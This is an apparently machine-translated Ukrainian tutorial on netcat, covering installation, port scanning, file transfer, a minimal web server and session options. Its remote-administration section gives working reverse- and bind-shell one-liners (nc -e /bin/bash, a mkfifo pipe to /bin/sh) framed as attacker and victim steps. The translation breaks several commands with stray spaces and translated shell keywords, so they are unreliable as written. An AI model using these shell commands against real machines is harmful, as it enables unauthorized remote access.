Коротка різниця між netcat-traditional та netcat-openbsd
Для Netcat доступні два схожі пакети з невеликою різницею між ними.
netcat-традиційний включає додатковий параметр '-e', який можна використовувати для прив'язки програми (i.e bash) з netcat. Ця функція дуже корисна для віддаленого адміністрування.
netcat-openbsd мають додаткову підтримку для IPv6 та проксі.
Встановлення Netcat
Хоча netcat поставляється попередньо встановленим у більшості дистрибутивів Linux, але якщо ні, його можна легко встановити за допомогою наступних команд.
Для традиційного пакету,
[захищено електронною поштою]: ~ $ sudo apt-get install netcat-traditionalДля версії openbsd,
[захищено електронною поштою]: ~ $ sudo apt-get install netcat-openbsdNetcat для Windows можна завантажити звідси https: // sourceforge.net / projects / nc110 / files /.
Зараз ми розглянемо кілька цікавих випадків використання netcat
Сканування портів за допомогою netcat
Для сканування на наявність відкритих портів використовуйте опцію '-z'. Netcat намагатиметься підключитися до кожного порту без надсилання будь-яких даних або дуже обмежених даних у випадку UDP. Введіть наступне
[захищено електронною поштою]: ~ $ nc -z -v hackme.орг 80... відрізати ..
хакме.орг [217.78.1.155] 80 (http) відкрито
Щоб сканувати діапазон портів, введіть
[захищено електронною поштою]: ~ $ nc -z -nv 192.168.100.72 20-80(НЕВІДОМО) [192.168.100.72] 80 (http) відкрито
(НЕВІДОМО) [192.168.100.72] 22 (ssh) відкрито
Передача файлів за допомогою netcat
Інший корисний варіант використання netcat - це передача файлів між віддаленими комп'ютерами. Ви можете надсилати тексти та двійкові файли з одного ПК на інший ПК. Ми спробуємо надіслати файл “файл.pdf »з ПК з Linux на ПК з ОС Windows [IP 192.168.100.72] на прикладі netcat.
На машині Windows (приймач) введіть наступне
C: \ Users> nc -nvlp 1337> файл.pdfПрослуховування на [0.0.0.0] (сім’я 2, порт 1337)
На машині Linux (відправник) введіть наступне
[захищено електронною поштою]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfПідключення до 192.168.100.72 порт 1337 [tcp / *] вдався!
Віддалене адміністрування за допомогою netcat
Одним з найкращих випадків використання netcat є віддалене адміністрування, це означає, що ви можете керувати чужим ПК за допомогою netcat. Netcat-traditional поставляється з опцією '-e', яка може бути використана для прив'язки програми (тобто.e cmd.exe у Windows або bash у Linux) з портом, це означає, що netcat буде діяти як комунікатор між програмою та віддаленим ПК. Netcat отримуватиме команди з віддаленого ПК, виконуватиметься в локальній системі і надсилатиме результати назад на віддалений ПК. Ця функція широко використовується для зловмисних цілей, щоб уникнути закритих дверей ПК та серверів. Ця функція доступна лише в традиційному для netcat, але з невеликою хитрістю, netcat-openbsd також може використовуватися для тих же цілей. Ви можете використовувати два способи керування чужим ПК.
В Зворотна оболонка з'єднання, зловмисник прослуховує порт і чекає відправлення з'єднання з машини-жертви. Він використовується, коли комп’ютер-жертва знаходиться поза NAT або не має загальнодоступної IP-адреси.
Щоб отримати зворотну оболонку за допомогою netcat, вам потрібно прослухати порт, використовуючи netcat. Наберіть на машині зловмисника наступне,
[захищено електронною поштою]: ~ $ nc -nvlp 1337Прослуховування на [0.0.0.0] (сім’я 2, порт 1337)
На машині жертви (якщо netcat-традиційний встановлено)
// замінити “/ bin / bash” на “cmd.exe ”у випадку Windows
[захищено електронною поштою]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashДля netcat-openbsd (де опція “-e” не підтримується)
[захищено електронною поштою]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Перебуваючи в Обв’язуюча оболонка з'єднання, зловмисник прив'язує порт на машині жертви і підключається до цього порту за допомогою клієнтського сокета. Він використовується, коли машина зловмисника знаходиться позаду NAT або не має загальнодоступного IP.
На машині жертви введіть
[захищено електронною поштою]: ~ $ nc -nlvp 1337 -e / bin / bashпрослуховування [будь-якого] 1337 ..
Тепер для запуску команд на машині-жертві введіть
[захищено електронною поштою]: ~ $ nc -nv 127.0.0.1 1337Підключення до 127.0.0.1 1337 порт [tcp / *] вдався!
$ id
uid = 1000 (azad) gid = 1000 (azad) групи = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Простий веб-сервер за допомогою netcat
Ви також можете зробити ще один простий трюк, щоб використовувати netcat як мінімальний односторінковий веб-сервер. Цей веб-сервер буде дуже простим без особливих конфігурацій, і ми будемо використовувати для нього надсилання нашого HTML-коду до браузера.
[електронна пошта захищена]: ~ $ while true; do echo -e "HTTP / 1.1200 ОК \ n \ n $ (ехо "
Мій простий веб-сервер за допомогою netcat
")" | nc -nvlp 1337; зробленоПрослуховування на [0.0.0.0] (сім’я 2, порт 1337)
Тепер спробуйте отримати веб-сторінку за допомогою curl
[захищено електронною поштою]: ~ $ curl http: // 127.0.0.1: 1337 /Мій простий веб-сервер за допомогою netcat
Вкажіть час очікування для сесії netcat
Ви можете вказати час очікування для сеансу netcat, використовуючи опцію “-w”. Netcat автоматично від'єднає свій сеанс після закінчення зазначеного часу.
// -w [Час у секундах][захищено електронною поштою]: ~ $ nc -w 40 -nvlp 1337
Прослуховування на [0.0.0.0] (сім’я 2, порт 1234)
Продовжуйте слухати, навіть якщо Клієнт закриває підключення
У звичайному режимі сервер netcat вимикається і перестає слухати порт, коли клієнт закриває з'єднання. Ви можете підтримувати роботу сервера, використовуючи опцію -k
[захищено електронною поштою]: ~ $ nc -k -nlvp 1234Прослуховування на [0.0.0.0] (сім’я 2, порт 1234)
Висновок
Netcat - це проста, але ефективна утиліта, яку можна використовувати для багатьох простих щоденних завдань. Він поставляється з попередньо встановленою майже в усіх UNIX, таких як операційні системи, і може бути використаний для різних завдань, таких як зв'язок між двома ПК, передача файлів та багато іншого.